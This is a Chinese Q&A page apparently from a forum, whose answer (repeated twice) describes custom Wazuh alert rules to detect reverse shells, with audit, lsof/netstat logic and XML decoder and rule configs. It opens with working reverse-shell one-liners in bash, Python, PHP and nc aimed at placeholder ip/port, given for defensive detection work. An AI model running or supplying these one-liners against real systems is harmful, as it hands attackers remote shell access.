问答文章1 问答文章501 问答文章1001 问答文章1501 问答文章2001 问答文章2501 问答文章3001 问答文章3501 问答文章4001 问答文章4501 问答文章5001 问答文章5501 问答文章6001 问答文章6501 问答文章7001 问答文章7501 问答文章8001 问答文章8501 问答文章9001 问答文章9501

Wauzh自定义反弹shell告警规则

发布网友 发布时间:2022-10-14 18:15

我来回答

1个回答

热心网友 时间:2024-03-05 08:06

常见反弹:

bash -i >& /dev/tcp/ip/port 0>&1

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.p2(s.fileno(),0);os.p2(s.fileno(),1);os.p2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

php -r 'exec("bash -i >& /dev/tcp/ip/port 0>&1");'

php -r '$sock=fsockopen("ip",port);exec("/bin/bash -i <&3 >&3 2>&3");'

nc -e /bin/bash ip port

测试截图:

nc:

bash:

反弹原理:简单来说就是被控制端发起对控制端监听端口的请求,并将命令行的输入输出转到控制端,相当于我们常见的客户端及服务端角色反转。

参考:

https://www.freebuf.com/articles/system/187584.html

https://cloud.tencent.com/developer/article/1527568

https://xz.aliyun.com/t/2548  原理深入

https://xz.aliyun.com/t/2549

https://www.cnblogs.com/ginvip/p/6350222.html 文件标识符FD的解释

规则设计:如果bash进程有远程socket但是没有tty,那么就认定是一个反弹shell

1、检查/bin/bash进程(ps -ef|grep bash)

2、lsof -p $pid

3、遍历lsof结果

当TYPE中包含CHR且NAME中有(tty|pts|ptmx)

TYPE中包含'IP',并且该行包括关键字'ESTABLISHED',并获取控制端IP信息,正则匹配->和:之间的IP:(?<=->)((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})(\.((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})){3}(?=:)

FD为'cwd',展示该行的NAME

wazuh配置

1、配置audit告警/bin/bash执行,agent端配置:

auditctl -w /bin/bash -p x -F key=audit-wazuh-c

2、wazuh告警

rule.id:80792

3、依据audit内容调整规则, 但是wazuh是以日志为前提条件产生告警的,因此无法通过规则来触发执行,以下检测方式只能通过脚本执行:

   exe="/bin/bash"+type=EXECVE+包含=“-i”

   执行lsof -p $pid

   判断TYPE中包含'IP',并且该行包括关键字'ESTABLISHED',并获取控制端IP信息,正则匹配->和:之间的IP:(?<=->)((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})(\.((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})){3}(?=:)

4、通过端口以及进程来判断

客户端配置/bin/bash的监控:auditctl -w /bin/bash -p x -F key=audit-wazuh-c

配置执行命令:netstat -antlp | grep ESTABLISHED | egrep '/(bash|sh)'  ( rule.id =100005)

当10005和80792同时出现时,存在反弹shell,告警100006

agent.conf 编写:

<agent_config>

     <wodle name="command">

        <disabled>no</disabled>

        <tag>reverse shell test</tag>

        netstat -antlp | grep ESTABLISHED | egrep '/(bash|sh)'</command> #查看是否存在以bash或者sh为名的远程连接

        <interval>5s</interval>

        <ignore_output>no</ignore_output>

        <run_on_start>yes</run_on_start>

        <timeout>0</timeout>

    </wodle>

</agent_config>

decoders.xml编写

<decoder name="check_reverse_shell">

    <prematch>^tcp</prematch>

</decoder>

<decoder name="check_revsrse_shell_info">

    <parent>check_reverse_shell</parent>

    <regex offset="after_parent">\s*(\d+)\s*</regex>  #wazuh上适用的regex不一样,需严格遵守官网https://documentation.wazuh.com/3.10/user-manual/ruleset/ruleset-xml-syntax/regex.html#os-regex-or-regex-syntax

    <order>send_q</order>

</decoder>

<decoder name="check_revsrse_shell_info">

    <parent>check_reverse_shell</parent>

    <regex offset="after_regex">\s*(\d+\p\d+\p\d+\p\d+)</regex>

    <order>srcip</order>

</decoder>

<decoder name="check_revsrse_shell_info">

    <parent>check_reverse_shell</parent>

    <regex offset="after_regex">\p(\d+)</regex>

    <order>srcport</order>

</decoder>

<decoder name="check_revsrse_shell_info">

    <parent>check_reverse_shell</parent>

    <regex offset="after_regex">\s*(\d+\p\d+\p\d+\p\d+)</regex>

    <order>dstip</order>

</decoder>

<decoder name="check_revsrse_shell_info">

    <parent>check_reverse_shell</parent>

    <regex offset="after_regex">\p(\d+)</regex>

    <order>dstport</order>

</decoder>

rule.xml编写

<group name="attack,">

    <rule id="100005" level="7">  #不能在此就和80792匹配,官网没有找到答案,在默认规则里也没有找到,猜测可能是因为该条规则通过日志解析以及level配置后是必定会告警,但是与if_sid的前提条件产生先有蛋还是先有鸡的冲突,因此需要在规则匹配产生告警后,才能进一步去关联

        <decoded_as>check_reverse_shell</decoded_as>

        <match>ESTABLISHED</match>

        <regex>/bash|/sh</regex>

        <description>bash|sh netstat information</description>

    </rule>

    <rule id="100006" level="12" timeframe="10" frequency="2">

        <if_sid>100005</if_sid>

        <if_matched_sid>80792</if_matched_sid>

        <description>There could be reverse shell.Plz check.</description>

    </rule>

</group>

告警展示

热心网友 时间:2024-03-05 08:06

常见反弹:

bash -i >& /dev/tcp/ip/port 0>&1

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.p2(s.fileno(),0);os.p2(s.fileno(),1);os.p2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

php -r 'exec("bash -i >& /dev/tcp/ip/port 0>&1");'

php -r '$sock=fsockopen("ip",port);exec("/bin/bash -i <&3 >&3 2>&3");'

nc -e /bin/bash ip port

测试截图:

nc:

bash:

反弹原理:简单来说就是被控制端发起对控制端监听端口的请求,并将命令行的输入输出转到控制端,相当于我们常见的客户端及服务端角色反转。

参考:

https://www.freebuf.com/articles/system/187584.html

https://cloud.tencent.com/developer/article/1527568

https://xz.aliyun.com/t/2548  原理深入

https://xz.aliyun.com/t/2549

https://www.cnblogs.com/ginvip/p/6350222.html 文件标识符FD的解释

规则设计:如果bash进程有远程socket但是没有tty,那么就认定是一个反弹shell

1、检查/bin/bash进程(ps -ef|grep bash)

2、lsof -p $pid

3、遍历lsof结果

当TYPE中包含CHR且NAME中有(tty|pts|ptmx)

TYPE中包含'IP',并且该行包括关键字'ESTABLISHED',并获取控制端IP信息,正则匹配->和:之间的IP:(?<=->)((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})(\.((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})){3}(?=:)

FD为'cwd',展示该行的NAME

wazuh配置

1、配置audit告警/bin/bash执行,agent端配置:

auditctl -w /bin/bash -p x -F key=audit-wazuh-c

2、wazuh告警

rule.id:80792

3、依据audit内容调整规则, 但是wazuh是以日志为前提条件产生告警的,因此无法通过规则来触发执行,以下检测方式只能通过脚本执行:

   exe="/bin/bash"+type=EXECVE+包含=“-i”

   执行lsof -p $pid

   判断TYPE中包含'IP',并且该行包括关键字'ESTABLISHED',并获取控制端IP信息,正则匹配->和:之间的IP:(?<=->)((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})(\.((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})){3}(?=:)

4、通过端口以及进程来判断

客户端配置/bin/bash的监控:auditctl -w /bin/bash -p x -F key=audit-wazuh-c

配置执行命令:netstat -antlp | grep ESTABLISHED | egrep '/(bash|sh)'  ( rule.id =100005)

当10005和80792同时出现时,存在反弹shell,告警100006

agent.conf 编写:

<agent_config>

     <wodle name="command">

        <disabled>no</disabled>

        <tag>reverse shell test</tag>

        netstat -antlp | grep ESTABLISHED | egrep '/(bash|sh)'</command> #查看是否存在以bash或者sh为名的远程连接

        <interval>5s</interval>

        <ignore_output>no</ignore_output>

        <run_on_start>yes</run_on_start>

        <timeout>0</timeout>

    </wodle>

</agent_config>

decoders.xml编写

<decoder name="check_reverse_shell">

    <prematch>^tcp</prematch>

</decoder>

<decoder name="check_revsrse_shell_info">

    <parent>check_reverse_shell</parent>

    <regex offset="after_parent">\s*(\d+)\s*</regex>  #wazuh上适用的regex不一样,需严格遵守官网https://documentation.wazuh.com/3.10/user-manual/ruleset/ruleset-xml-syntax/regex.html#os-regex-or-regex-syntax

    <order>send_q</order>

</decoder>

<decoder name="check_revsrse_shell_info">

    <parent>check_reverse_shell</parent>

    <regex offset="after_regex">\s*(\d+\p\d+\p\d+\p\d+)</regex>

    <order>srcip</order>

</decoder>

<decoder name="check_revsrse_shell_info">

    <parent>check_reverse_shell</parent>

    <regex offset="after_regex">\p(\d+)</regex>

    <order>srcport</order>

</decoder>

<decoder name="check_revsrse_shell_info">

    <parent>check_reverse_shell</parent>

    <regex offset="after_regex">\s*(\d+\p\d+\p\d+\p\d+)</regex>

    <order>dstip</order>

</decoder>

<decoder name="check_revsrse_shell_info">

    <parent>check_reverse_shell</parent>

    <regex offset="after_regex">\p(\d+)</regex>

    <order>dstport</order>

</decoder>

rule.xml编写

<group name="attack,">

    <rule id="100005" level="7">  #不能在此就和80792匹配,官网没有找到答案,在默认规则里也没有找到,猜测可能是因为该条规则通过日志解析以及level配置后是必定会告警,但是与if_sid的前提条件产生先有蛋还是先有鸡的冲突,因此需要在规则匹配产生告警后,才能进一步去关联

        <decoded_as>check_reverse_shell</decoded_as>

        <match>ESTABLISHED</match>

        <regex>/bash|/sh</regex>

        <description>bash|sh netstat information</description>

    </rule>

    <rule id="100006" level="12" timeframe="10" frequency="2">

        <if_sid>100005</if_sid>

        <if_matched_sid>80792</if_matched_sid>

        <description>There could be reverse shell.Plz check.</description>

    </rule>

</group>

告警展示
声明声明:本网页内容为用户发布,旨在传播知识,不代表本网认同其观点,若有侵权等问题请及时与本网联系,我们将在第一时间删除处理。E-MAIL:11247931@qq.com
什么叫补按揭 后按揭贷款什么意思 买房者续按揭有什么危害 加按揭是什么意思 八月中国最凉快的地方 八月份哪里最凉快,去哪旅游好?美丽的地方 乱字同韵字是什么意思 华硕笔记本电脑触摸板怎么开笔记本电脑触摸板怎么开启和关闭_百度知 ... 陕西职务侵占案立案准则 结婚后我的恋情维系了十年,怎么做到的? 胡萝卜玉米排骨汤怎么是甜的? 谁有学而思2020年秋季培优六年级英语创新预备班景斯峤全集百度云资源... 淘宝如何退货~~买2个退1个~还没发货! 用手机开通QQ会员~~怎么退~ 梦见头上有血 毛绒呢子大衣洗完后粘满领子上的毛毛,怎么办? 华为y635为什么安不了优酷 白毛衣染色了怎么洗掉 Al可以开二轮摩托车吗? 存款利率下调一个点是多少 3000左右的手表,是机械的好还是石英的好?什么牌子的?哪一种相对来说抗... 三支一扶工资表怎么打印 四川中医院高等专科学校2021录取分数线 南阳医学高等专科学校2021分数线 淄博师范高等专科学校2021分数线 油炸齐鱼怎么做才好? 722除以3竖式如何立? 732除以3的竖式怎么列? 本田CrV脚踏手刹怎么用 李白关于月亮的古诗大全 求三女一男闺蜜头像,最好古风或动漫~ 请问从哈尔滨怎么去金上京历史博物馆 金上京历史博物馆的旅游信息 重游金上京历史博物馆 哈尔滨去阿城 好玩的地方 金上京历史博物馆开放时间…… 求助 河北师范大学有几个校区 每个校区都有多少人 面试官如何写好应聘者的面试评语 高校科研经费内部审计 如何进一步加强审计过程管理 “求一个数的几分之几是多少的应用题”教学反思 《求一个数的几分之几是多少》教学反思 从沧州方向去河北师范大学西校区怎么走?? 扑克牌中的jQ中的人各是谁 ...有沙子!地震,房门倒塌,外星物种入侵(或者动物变异)!死了很多人_百 ... 扑克牌中的jq?K是谁呢? 梦到变异小动物,看不清是什么东西,很恐慌,就把它们装进袋子,放冰箱冷冻... 神马叫JQ、IQ、EQ啊?求解~~~ 儿女结婚请帖怎么写短信 言语可以很活泼 河北师范大学汇华学院的新闻学在哪个校区?